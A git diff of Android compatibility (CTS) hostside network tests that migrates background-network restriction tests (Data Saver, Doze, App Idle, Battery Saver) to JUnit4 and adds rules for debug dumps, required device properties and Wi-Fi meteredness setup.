-import com.android.compatibility.common.util.BatteryUtils;
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
/**
* Superclass for tests related to background network restrictions.
*/
-abstract class AbstractRestrictBackgroundNetworkTestCase extends InstrumentationTestCase {
- protected static final String TAG = "RestrictBackgroundNetworkTests";
+@RunWith(AndroidJUnit4.class)
+public abstract class AbstractRestrictBackgroundNetworkTestCase {
+ public static final String TAG = "RestrictBackgroundNetworkTests";
protected static final String TEST_PKG = "com.android.cts.net.hostside";
protected static final String TEST_APP2_PKG = "com.android.cts.net.hostside.app2";
@@ -98,8 +107,6 @@
static final int NETWORK_TIMEOUT_MS = 15 * SECOND_IN_MS;
private static int PROCESS_STATE_FOREGROUND_SERVICE;
- private static final int PROCESS_STATE_TOP = 2;
-
private static final String KEY_NETWORK_STATE_OBSERVER = TEST_PKG + ".observer";
protected static final int TYPE_COMPONENT_ACTIVTIY = 0;
@@ -126,22 +133,23 @@
protected WifiManager mWfm;
protected int mUid;
private int mMyUid;
- private String mMeteredWifi;
private MyServiceClient mServiceClient;
private String mDeviceIdleConstantsSetting;
- private boolean mSupported;
private boolean mIsLocationOn;
- @Override
+ @Rule
+ public final RuleChain mRuleChain = RuleChain.outerRule(new DumpOnFailureRule())
+ .around(new RequiredPropertiesRule())
+ .around(new MeterednessConfigurationRule());
+
protected void setUp() throws Exception {
- super.setUp();
PROCESS_STATE_FOREGROUND_SERVICE = (Integer) ActivityManager.class
.getDeclaredField("PROCESS_STATE_FOREGROUND_SERVICE").get(null);
mInstrumentation = getInstrumentation();
- mContext = mInstrumentation.getContext();
- mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
- mWfm = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
+ mContext = getContext();
+ mCm = getConnectivityManager();
+ mWfm = getWifiManager();
mUid = getUid(TEST_APP2_PKG);
mMyUid = getUid(mContext.getPackageName());
mServiceClient = new MyServiceClient(mContext);
@@ -151,30 +159,18 @@
if (!mIsLocationOn) {
enableLocation();
}
- mSupported = setUpActiveNetworkMeteringState();
setAppIdle(false);
- Log.i(TAG, "Apps status on " + getName() + ":\n"
+ Log.i(TAG, "Apps status:\n"
+ "\ttest app: uid=" + mMyUid + ", state=" + getProcessStateByUid(mMyUid) + "\n"
+ "\tapp2: uid=" + mUid + ", state=" + getProcessStateByUid(mUid));
+ }
- // app_idle_constants set in NetPolicyTestsPreparer.setUp() is not always sucessful (suspect
- // timing issue), here we set it again to make sure.
- final String appIdleConstants = "parole_duration=0,stable_charging_threshold=0";
- executeShellCommand("settings put global app_idle_constants " + appIdleConstants);
- final String currentConstants =
- executeShellCommand("settings get global app_idle_constants");
- assertEquals(appIdleConstants, currentConstants);
- }
-
- @Override
protected void tearDown() throws Exception {
if (!mIsLocationOn) {
disableLocation();
}
mServiceClient.unbind();
-
- super.tearDown();
}
private void enableLocation() throws Exception {
@@ -259,23 +255,8 @@
protected void assertRestrictBackgroundStatus(int expectedStatus) throws Exception {
final String status = mServiceClient.getRestrictBackgroundStatus();
assertNotNull("didn't get API status from app2", status);
- final String actualStatus = toString(Integer.parseInt(status));
- assertEquals("wrong status", toString(expectedStatus), actualStatus);
- }
-
- protected void assertMyRestrictBackgroundStatus(int expectedStatus) throws Exception {
- final int actualStatus = mCm.getRestrictBackgroundStatus();
- assertEquals("Wrong status", toString(expectedStatus), toString(actualStatus));
- }
-
- protected boolean isMyRestrictBackgroundStatus(int expectedStatus) throws Exception {
- final int actualStatus = mCm.getRestrictBackgroundStatus();
- if (expectedStatus != actualStatus) {
- Log.d(TAG, "Expected: " + toString(expectedStatus)
- + " but actual: " + toString(actualStatus));
- return false;
- }
- return true;
+ assertEquals(restrictBackgroundValueToString(expectedStatus),
+ restrictBackgroundValueToString(Integer.parseInt(status)));
}
protected void assertBackgroundNetworkAccess(boolean expectAllowed) throws Exception {
@@ -298,28 +279,6 @@
}
/**
- * Whether this device suport this type of test.
- *
- * <p>Should be overridden when necessary (but always calling
- * {@code super.isSupported()} first), and explicitly used before each test
- * Example:
- *
- * <pre><code>
- * public void testSomething() {
- * if (!isSupported()) return;
- * </code></pre>
- *
- * @return {@code true} by default.
- */
- protected boolean isSupported() throws Exception {
- return mSupported;
- }
-
- protected boolean isBatterySaverSupported() {
- return BatteryUtils.isBatterySaverSupported();
- }
-
- /**
* Asserts that an app always have access while on foreground or running a foreground service.
*
* <p>This method will launch an activity and a foreground service to make the assertion, but
@@ -388,23 +347,6 @@
}
/**
- * As per CDD requirements, if the device doesn't support data saver mode then
- * ConnectivityManager.getRestrictBackgroundStatus() will always return
- * RESTRICT_BACKGROUND_STATUS_DISABLED. So, enable the data saver mode and check if
- * ConnectivityManager.getRestrictBackgroundStatus() for an app in background returns
- * RESTRICT_BACKGROUND_STATUS_DISABLED or not.
- */
- protected boolean isDataSaverSupported() throws Exception {
- assertMyRestrictBackgroundStatus(RESTRICT_BACKGROUND_STATUS_DISABLED);
- try {
- setRestrictBackground(true);
- return !isMyRestrictBackgroundStatus(RESTRICT_BACKGROUND_STATUS_DISABLED);
- } finally {
- setRestrictBackground(false);
- }
- }
-
- /**
* Returns whether an app state should be considered "background" for restriction purposes.
*/
protected boolean isBackground(int state) {
@@ -443,40 +385,10 @@
// Exponential back-off.
timeoutMs = Math.min(timeoutMs*2, NETWORK_TIMEOUT_MS);
}
- dumpOnFailure();
fail("Invalid state for expectAvailable=" + expectAvailable + " after " + maxTries
+ " attempts.\nLast error: " + error);
}
- private void dumpOnFailure() throws Exception {
- dumpAllNetworkRules();
- Log.d(TAG, "Usagestats dump: " + getUsageStatsDump());
- executeShellCommand("settings get global app_idle_constants");
- }
-
- private void dumpAllNetworkRules() throws Exception {
- final String networkManagementDump = runShellCommand(mInstrumentation,
- "dumpsys network_management").trim();
- final String networkPolicyDump = runShellCommand(mInstrumentation,
- "dumpsys netpolicy").trim();
- TextUtils.SimpleStringSplitter splitter = new TextUtils.SimpleStringSplitter('\n');
- splitter.setString(networkManagementDump);
- String next;
- Log.d(TAG, ">>> Begin network_management dump");
- while (splitter.hasNext()) {
- next = splitter.next();
- Log.d(TAG, next);
- }
- Log.d(TAG, "<<< End network_management dump");
- splitter.setString(networkPolicyDump);
- Log.d(TAG, ">>> Begin netpolicy dump");
- while (splitter.hasNext()) {
- next = splitter.next();
- Log.d(TAG, next);
- }
- Log.d(TAG, "<<< End netpolicy dump");
- }
-
/**
* Checks whether the network is available as expected.
*
@@ -528,22 +440,10 @@
return errors.toString();
}
- protected boolean isLowRamDevice() {
- final ActivityManager am = (ActivityManager) mContext.getSystemService(
- Context.ACTIVITY_SERVICE);
- return am.isLowRamDevice();
- }
-
- protected String executeShellCommand(String command) throws Exception {
- final String result = runShellCommand(mInstrumentation, command).trim();
- if (DEBUG) Log.d(TAG, "Command '" + command + "' returned '" + result + "'");
- return result;
- }
-
/**
* Runs a Shell command which is not expected to generate output.
*/
- protected void executeSilentShellCommand(String command) throws Exception {
+ protected void executeSilentShellCommand(String command) {
final String result = executeShellCommand(command);
assertTrue("Command '" + command + "' failed: " + result, result.trim().isEmpty());
}
@@ -572,10 +472,6 @@
});
}
- protected void assertDelayedShellCommand(String command, ExpectResultChecker checker)
- throws Exception {
- assertDelayedShellCommand(command, 5, 1, checker);
- }
protected void assertDelayedShellCommand(String command, int maxTries, int napTimeSeconds,
ExpectResultChecker checker) throws Exception {
String result = "";
@@ -592,159 +488,6 @@
+ " attempts. Last result: '" + result + "'");
}
- /**
- * Sets the initial metering state for the active network.
- *
- * <p>It's called on setup and by default does nothing - it's up to the
- * subclasses to override.
- *
- * @return whether the tests in the subclass are supported on this device.
- */
- protected boolean setUpActiveNetworkMeteringState() throws Exception {
- return true;
- }
-
- /**
- * Makes sure the active network is not metered.
- *
- * <p>If the device does not supoprt un-metered networks (for example if it
- * only has cellular data but not wi-fi), it should return {@code false};
- * otherwise, it should return {@code true} (or fail if the un-metered
- * network could not be set).
- *
- * @return {@code true} if the network is now unmetered.
- */
- protected boolean setUnmeteredNetwork() throws Exception {
- final NetworkInfo info = mCm.getActiveNetworkInfo();
- assertNotNull("Could not get active network", info);
- if (!mCm.isActiveNetworkMetered()) {
- Log.d(TAG, "Active network is not metered: " + info);
- } else if (info.getType() == ConnectivityManager.TYPE_WIFI) {
- Log.i(TAG, "Setting active WI-FI network as not metered: " + info );
- setWifiMeteredStatus(false);
- } else {
- Log.d(TAG, "Active network cannot be set to un-metered: " + info);
- return false;
- }
- assertActiveNetworkMetered(false); // Sanity check.
- return true;
- }
-
- /**
- * Enables metering on the active network if supported.
- *
- * <p>If the device does not support metered networks it should return
- * {@code false}; otherwise, it should return {@code true} (or fail if the
- * metered network could not be set).
- *
- * @return {@code true} if the network is now metered.
- */
- protected boolean setMeteredNetwork() throws Exception {
- final NetworkInfo info = mCm.getActiveNetworkInfo();
- final boolean metered = mCm.isActiveNetworkMetered();
- if (metered) {
- Log.d(TAG, "Active network already metered: " + info);
- return true;
- } else if (info.getType() != ConnectivityManager.TYPE_WIFI) {
- Log.w(TAG, "Active network does not support metering: " + info);
- return false;
- } else {
- Log.w(TAG, "Active network not metered: " + info);
- }
- final String netId = setWifiMeteredStatus(true);
-
- // Set flag so status is reverted on resetMeteredNetwork();
- mMeteredWifi = netId;
- // Sanity check.
- assertWifiMeteredStatus(netId, true);
- assertActiveNetworkMetered(true);
- return true;
- }
-
- /**
- * Resets the device metering state to what it was before the test started.
- *
- * <p>This reverts any metering changes made by {@code setMeteredNetwork}.
- */
- protected void resetMeteredNetwork() throws Exception {
- if (mMeteredWifi != null) {
- Log.i(TAG, "resetMeteredNetwork(): SID '" + mMeteredWifi
- + "' was set as metered by test case; resetting it");
- setWifiMeteredStatus(mMeteredWifi, false);
- assertActiveNetworkMetered(false); // Sanity check.
- }
- }
-
- private void assertActiveNetworkMetered(boolean expected) throws Exception {
- final int maxTries = 5;
- NetworkInfo info = null;
- for (int i = 1; i <= maxTries; i++) {
- info = mCm.getActiveNetworkInfo();
- if (info == null) {
- Log.v(TAG, "No active network info on attempt #" + i
- + "; sleeping 1s before polling again");
- } else if (mCm.isActiveNetworkMetered() != expected) {
- Log.v(TAG, "Wrong metered status for active network " + info + "; expected="
- + expected + "; sleeping 1s before polling again");
- } else {
- break;
- }
- Thread.sleep(SECOND_IN_MS);
- }
- assertNotNull("No active network after " + maxTries + " attempts", info);
- assertEquals("Wrong metered status for active network " + info, expected,
- mCm.isActiveNetworkMetered());
- }
-
- private String setWifiMeteredStatus(boolean metered) throws Exception {
- // We could call setWifiEnabled() here, but it might take sometime to be in a consistent
- // state (for example, if one of the saved network is not properly authenticated), so it's
- // better to let the hostside test take care of that.
- assertTrue("wi-fi is disabled", mWfm.isWifiEnabled());
- // TODO: if it's not guaranteed the device has wi-fi, we need to change the tests
- // to make the actual verification of restrictions optional.
- final String ssid = mWfm.getConnectionInfo().getSSID();
- return setWifiMeteredStatus(ssid, metered);
- }
-
- private String setWifiMeteredStatus(String ssid, boolean metered) throws Exception {
- assertNotNull("null SSID", ssid);
- final String netId = ssid.trim().replaceAll("\"", ""); // remove quotes, if any.
- assertFalse("empty SSID", ssid.isEmpty());
-
- Log.i(TAG, "Setting wi-fi network " + netId + " metered status to " + metered);
- final String setCommand = "cmd netpolicy set metered-network " + netId + " " + metered;
- assertDelayedShellCommand(setCommand, "");
-
- return netId;
- }
-
- private void assertWifiMeteredStatus(String netId, boolean status) throws Exception {
- final String command = "cmd netpolicy list wifi-networks";
- final String expectedLine = netId + ";" + status;
- assertDelayedShellCommand(command, new ExpectResultChecker() {
-
- @Override
- public boolean isExpected(String result) {
- return result.contains(expectedLine);
- }
-
- @Override
- public String getExpected() {
- return "line containing " + expectedLine;
- }
- });
- }
-
- protected void setRestrictBackground(boolean enabled) throws Exception {
- executeShellCommand("cmd netpolicy set restrict-background " + enabled);
- final String output = executeShellCommand("cmd netpolicy get restrict-background ");
- final String expectedSuffix = enabled ? "enabled" : "disabled";
- // TODO: use MoreAsserts?
- assertTrue("output '" + output + "' should end with '" + expectedSuffix + "'",
- output.endsWith(expectedSuffix));
- }
-
protected void addRestrictBackgroundWhitelist(int uid) throws Exception {
executeShellCommand("cmd netpolicy add restrict-background-whitelist " + uid);
assertRestrictBackgroundWhitelist(uid, true);
@@ -924,7 +667,7 @@
protected void setDozeMode(boolean enabled) throws Exception {
// Sanity check, since tests should check beforehand....
- assertTrue("Device does not support Doze Mode", isDozeModeEnabled());
+ assertTrue("Device does not support Doze Mode", isDozeModeSupported());
Log.i(TAG, "Setting Doze Mode to " + enabled);
if (enabled) {
@@ -944,43 +687,16 @@
assertDelayedShellCommand("dumpsys deviceidle get deep", enabled ? "IDLE" : "ACTIVE");
}
- protected boolean isDozeModeEnabled() throws Exception {
- final String result = executeShellCommand("cmd deviceidle enabled deep").trim();
- return result.equals("1");
- }
-
protected void setAppIdle(boolean enabled) throws Exception {
Log.i(TAG, "Setting app idle to " + enabled);
executeSilentShellCommand("am set-inactive " + TEST_APP2_PKG + " " + enabled );
assertAppIdle(enabled); // Sanity check
}
- private String getUsageStatsDump() throws Exception {
- final String output = runShellCommand(mInstrumentation, "dumpsys usagestats").trim();
- final StringBuilder sb = new StringBuilder();
- final TextUtils.SimpleStringSplitter splitter = new TextUtils.SimpleStringSplitter('\n');
- splitter.setString(output);
- String str;
- while (splitter.hasNext()) {
- str = splitter.next();
- if (str.contains("package=")
- && !str.contains(TEST_PKG) && !str.contains(TEST_APP2_PKG)) {
- continue;
- }
- if (str.trim().startsWith("config=") || str.trim().startsWith("time=")) {
- continue;
- }
- sb.append(str).append('\n');
- }
- return sb.toString();
- }
-
protected void assertAppIdle(boolean enabled) throws Exception {
try {
assertDelayedShellCommand("am get-inactive " + TEST_APP2_PKG, 15, 2, "Idle=" + enabled);
} catch (Throwable e) {
- Log.d(TAG, "UsageStats dump:\n" + getUsageStatsDump());
- executeShellCommand("settings get global app_idle_constants");
throw e;
}
}
@@ -1061,12 +777,10 @@
// App didn't come to foreground when the activity is started, so try again.
assertForegroundNetworkAccess();
} else {
- dumpOnFailure();
fail("Network is not available for app2 (" + mUid + "): " + errors[0]);
}
}
} else {
- dumpOnFailure();
fail("Timed out waiting for network availability status from app2 (" + mUid + ")");
}
} else {
@@ -1150,19 +864,6 @@
}
}
- private String toString(int status) {
- switch (status) {
- case RESTRICT_BACKGROUND_STATUS_DISABLED:
- return "DISABLED";
- case RESTRICT_BACKGROUND_STATUS_WHITELISTED:
- return "WHITELISTED";
- case RESTRICT_BACKGROUND_STATUS_ENABLED:
- return "ENABLED";
- default:
- return "UNKNOWN_STATUS_" + status;
- }
- }
-
private ProcessState getProcessStateByUid(int uid) throws Exception {
return new ProcessState(executeShellCommand("cmd activity get-uid-state " + uid));
}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleMeteredTest.java
index 622d993..f1858d6 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleMeteredTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleMeteredTest.java
@@ -16,15 +16,8 @@
package com.android.cts.net.hostside;
+import static com.android.cts.net.hostside.Property.METERED_NETWORK;
+
+@RequiredProperties({METERED_NETWORK})
public class AppIdleMeteredTest extends AbstractAppIdleTestCase {
-
- @Override
- protected boolean setUpActiveNetworkMeteringState() throws Exception {
- return setMeteredNetwork();
- }
-
- @Override
- protected void tearDownMeteredNetwork() throws Exception {
- resetMeteredNetwork();
- }
}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleNonMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleNonMeteredTest.java
index bde71f9..e737a6d 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleNonMeteredTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleNonMeteredTest.java
@@ -16,9 +16,8 @@
package com.android.cts.net.hostside;
+import static com.android.cts.net.hostside.Property.NON_METERED_NETWORK;
+
+@RequiredProperties({NON_METERED_NETWORK})
public class AppIdleNonMeteredTest extends AbstractAppIdleTestCase {
- @Override
- protected boolean setUpActiveNetworkMeteringState() throws Exception {
- return setUnmeteredNetwork();
- }
}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeMeteredTest.java
index 3071cfe..c78ca2e 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeMeteredTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeMeteredTest.java
@@ -16,15 +16,8 @@
package com.android.cts.net.hostside;
+import static com.android.cts.net.hostside.Property.METERED_NETWORK;
+
+@RequiredProperties({METERED_NETWORK})
public class BatterySaverModeMeteredTest extends AbstractBatterySaverModeTestCase {
-
- @Override
- protected boolean setUpActiveNetworkMeteringState() throws Exception {
- return setMeteredNetwork();
- }
-
- @Override
- protected void tearDownMeteredNetwork() throws Exception {
- resetMeteredNetwork();
- }
}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeNonMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeNonMeteredTest.java
index 6d3076f..fb52a54 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeNonMeteredTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeNonMeteredTest.java
@@ -16,10 +16,9 @@
package com.android.cts.net.hostside;
-public class BatterySaverModeNonMeteredTest extends AbstractBatterySaverModeTestCase {
- @Override
- protected boolean setUpActiveNetworkMeteringState() throws Exception {
- return setUnmeteredNetwork();
- }
+import static com.android.cts.net.hostside.Property.NON_METERED_NETWORK;
+
+@RequiredProperties({NON_METERED_NETWORK})
+public class BatterySaverModeNonMeteredTest extends AbstractBatterySaverModeTestCase {
}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
index cfe6a73..aa2c914 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
@@ -20,24 +20,33 @@
import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED;
import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_WHITELISTED;
-import android.util.Log;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.setRestrictBackground;
+import static com.android.cts.net.hostside.Property.DATA_SAVER_MODE;
+import static com.android.cts.net.hostside.Property.METERED_NETWORK;
+import static com.android.cts.net.hostside.Property.NO_DATA_SAVER_MODE;
+
+import static org.junit.Assert.fail;
import com.android.compatibility.common.util.CddTest;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import androidx.test.filters.LargeTest;
+
+@RequiredProperties({DATA_SAVER_MODE, METERED_NETWORK})
+@LargeTest
public class DataSaverModeTest extends AbstractRestrictBackgroundNetworkTestCase {
private static final String[] REQUIRED_WHITELISTED_PACKAGES = {
"com.android.providers.downloads"
};
- private boolean mIsDataSaverSupported;
-
- @Override
+ @Before
public void setUp() throws Exception {
super.setUp();
- mIsDataSaverSupported = isDataSaverSupported();
-
// Set initial state.
setRestrictBackground(false);
removeRestrictBackgroundWhitelist(mUid);
@@ -47,36 +56,15 @@
assertRestrictBackgroundChangedReceived(0);
}
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
super.tearDown();
- if (!isSupported()) return;
-
- try {
- resetMeteredNetwork();
- } finally {
- setRestrictBackground(false);
- }
+ setRestrictBackground(false);
}
- @Override
- protected boolean setUpActiveNetworkMeteringState() throws Exception {
- return setMeteredNetwork();
- }
-
- @Override
- protected boolean isSupported() throws Exception {
- if (!mIsDataSaverSupported) {
- Log.i(TAG, "Skipping " + getClass() + "." + getName()
- + "() because device does not support Data Saver Mode");
- }
- return mIsDataSaverSupported && super.isSupported();
- }
-
+ @Test
public void testGetRestrictBackgroundStatus_disabled() throws Exception {
- if (!isSupported()) return;
-
assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_DISABLED);
// Sanity check: make sure status is always disabled, never whitelisted
@@ -88,9 +76,8 @@
assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_DISABLED);
}
+ @Test
public void testGetRestrictBackgroundStatus_whitelisted() throws Exception {
- if (!isSupported()) return;
-
setRestrictBackground(true);
assertRestrictBackgroundChangedReceived(1);
assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
@@ -107,9 +94,8 @@
assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
}
+ @Test
public void testGetRestrictBackgroundStatus_enabled() throws Exception {
- if (!isSupported()) return;
-
setRestrictBackground(true);
assertRestrictBackgroundChangedReceived(1);
assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
@@ -142,9 +128,8 @@
assertBackgroundNetworkAccess(false);
}
+ @Test
public void testGetRestrictBackgroundStatus_blacklisted() throws Exception {
- if (!isSupported()) return;
-
addRestrictBackgroundBlacklist(mUid);
assertRestrictBackgroundChangedReceived(1);
assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
@@ -180,9 +165,8 @@
assertsForegroundAlwaysHasNetworkAccess();
}
+ @Test
public void testGetRestrictBackgroundStatus_requiredWhitelistedPackages() throws Exception {
- if (!isSupported()) return;
-
final StringBuilder error = new StringBuilder();
for (String packageName : REQUIRED_WHITELISTED_PACKAGES) {
int uid = -1;
@@ -202,10 +186,10 @@
}
}
+ @RequiredProperties({NO_DATA_SAVER_MODE})
@CddTest(requirement="7.4.7/C-2-2")
+ @Test
public void testBroadcastNotSentOnUnsupportedDevices() throws Exception {
- if (isSupported()) return;
-
setRestrictBackground(true);
assertRestrictBackgroundChangedReceived(0);
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeMeteredTest.java
index e4189af..4306c99 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeMeteredTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeMeteredTest.java
@@ -16,15 +16,8 @@
package com.android.cts.net.hostside;
+import static com.android.cts.net.hostside.Property.METERED_NETWORK;
+
+@RequiredProperties({METERED_NETWORK})
public class DozeModeMeteredTest extends AbstractDozeModeTestCase {
-
- @Override
- protected boolean setUpActiveNetworkMeteringState() throws Exception {
- return setMeteredNetwork();
- }
-
- @Override
- protected void tearDownMeteredNetwork() throws Exception {
- resetMeteredNetwork();
- }
}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeNonMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeNonMeteredTest.java
index edbbb9e..1e89f15 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeNonMeteredTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeNonMeteredTest.java
@@ -16,10 +16,8 @@
package com.android.cts.net.hostside;
-public class DozeModeNonMeteredTest extends AbstractDozeModeTestCase {
+import static com.android.cts.net.hostside.Property.NON_METERED_NETWORK;
- @Override
- protected boolean setUpActiveNetworkMeteringState() throws Exception {
- return setUnmeteredNetwork();
- }
+@RequiredProperties({NON_METERED_NETWORK})
+public class DozeModeNonMeteredTest extends AbstractDozeModeTestCase {
}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DumpOnFailureRule.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DumpOnFailureRule.java
new file mode 100644
index 0000000..cedd62a
--- /dev/null
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/DumpOnFailureRule.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.net.hostside;
+
+import static com.android.cts.net.hostside.AbstractRestrictBackgroundNetworkTestCase.TAG;
+import static com.android.cts.net.hostside.AbstractRestrictBackgroundNetworkTestCase.TEST_PKG;
+
+import android.os.Environment;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import com.android.compatibility.common.util.OnFailureRule;
+
+import org.junit.AssumptionViolatedException;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+public class DumpOnFailureRule extends OnFailureRule {
+ private File mDumpDir = new File(Environment.getExternalStorageDirectory(),
+ "CtsHostsideNetworkTests");
+
+ @Override
+ public void onTestFailure(Statement base, Description description, Throwable throwable) {
+ final String testName = description.getClassName() + "_" + description.getMethodName();
+
+ if (throwable instanceof AssumptionViolatedException) {
+ Log.d(TAG, "Skipping test " + testName + ": " + throwable);
+ return;
+ }
+
+ prepareDumpRootDir();
+ final File dumpFile = new File(mDumpDir, "dump-" + testName);
+ Log.i(TAG, "Dumping debug info for " + description + ": " + dumpFile.getPath());
+ try (FileOutputStream out = new FileOutputStream(dumpFile)) {
+ for (String cmd : new String[] {
+ "dumpsys netpolicy",
+ "dumpsys network_management",
+ "dumpsys usagestats " + TEST_PKG,
+ "dumpsys usagestats appstandby",
+ }) {
+ dumpCommandOutput(out, cmd);
+ }
+ } catch (FileNotFoundException e) {
+ Log.e(TAG, "Error opening file: " + dumpFile, e);
+ } catch (IOException e) {
+ Log.e(TAG, "Error closing file: " + dumpFile, e);
+ }
+ }
+
+ void dumpCommandOutput(FileOutputStream out, String cmd) {
+ final ParcelFileDescriptor pfd = InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation().executeShellCommand(cmd);
+ try (FileInputStream in = new ParcelFileDescriptor.AutoCloseInputStream(pfd)) {
+ out.write(("Output of '" + cmd + "':\n").getBytes(StandardCharsets.UTF_8));
+ FileUtils.copy(in, out);
+ out.write("\n\n=================================================================\n\n"
+ .getBytes(StandardCharsets.UTF_8));
+ } catch (IOException e) {
+ Log.e(TAG, "Error dumping '" + cmd + "'", e);
+ }
+ }
+
+ void prepareDumpRootDir() {
+ if (!mDumpDir.exists() && !mDumpDir.mkdir()) {
+ Log.e(TAG, "Error creating " + mDumpDir);
+ }
+ }
+}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MeterednessConfigurationRule.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MeterednessConfigurationRule.java
new file mode 100644
index 0000000..8fadf9e
--- /dev/null
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MeterednessConfigurationRule.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.net.hostside;
+
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.resetMeteredNetwork;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.setupMeteredNetwork;
+import static com.android.cts.net.hostside.Property.METERED_NETWORK;
+import static com.android.cts.net.hostside.Property.NON_METERED_NETWORK;
+
+import android.util.ArraySet;
+import android.util.Pair;
+
+import com.android.compatibility.common.util.BeforeAfterRule;
+
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+public class MeterednessConfigurationRule extends BeforeAfterRule {
+ private Pair<String, Boolean> mSsidAndInitialMeteredness;
+
+ @Override
+ public void onBefore(Statement base, Description description) throws Throwable {
+ final ArraySet<Property> requiredProperties
+ = RequiredPropertiesRule.getRequiredProperties();
+ if (requiredProperties.contains(METERED_NETWORK)) {
+ configureNetworkMeteredness(true);
+ } else if (requiredProperties.contains(NON_METERED_NETWORK)) {
+ configureNetworkMeteredness(false);
+ }
+ }
+
+ @Override
+ public void onAfter(Statement base, Description description) throws Throwable {
+ resetNetworkMeteredness();
+ }
+
+ public void configureNetworkMeteredness(boolean metered) throws Exception {
+ mSsidAndInitialMeteredness = setupMeteredNetwork(metered);
+ }
+
+ public void resetNetworkMeteredness() throws Exception {
+ if (mSsidAndInitialMeteredness != null) {
+ resetMeteredNetwork(mSsidAndInitialMeteredness.first,
+ mSsidAndInitialMeteredness.second);
+ }
+ }
+}
